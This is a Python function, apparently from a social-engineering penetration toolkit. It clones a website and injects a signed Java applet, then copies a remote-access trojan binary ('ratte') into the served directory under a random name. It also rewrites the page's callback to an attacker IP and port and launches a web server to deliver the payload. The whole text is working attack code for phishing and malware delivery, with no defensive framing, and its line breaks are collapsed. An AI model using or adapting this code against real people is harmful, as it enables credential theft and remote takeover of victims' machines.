def java_applet_attack_tw(website, port, directory, ipaddr): # clone the website and inject java applet core.site_cloner(website, directory, "java") ############################################ # use customized Ratte nehmen ############################################ # this part is needed to rename the msf.exe file to a randomly generated one if os.path.isfile(os.path.join(userconfigpath, "rand_gen")): # open the file # start a loop with open(os.path.join(userconfigpath, "rand_gen")) as fileopen: for line in fileopen: # define executable name and rename it filename = line.rstrip() # move the file to the specified directory and filename subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait() # lastly we need to copy over the signed applet subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (userconfigpath, directory), shell=True).wait() # TODO index.html parsen und IPADDR:Port ersetzen with open(os.path.join(directory, "index.html"), "rb") as fileopen: data = fileopen.read() with open(os.path.join(directory, "index.html"), 'wb') as filewrite: to_replace = core.grab_ipaddress() + ":80" # replace 3 times filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3)) # start the web server by running it in the background start_web_server_tw(directory, port)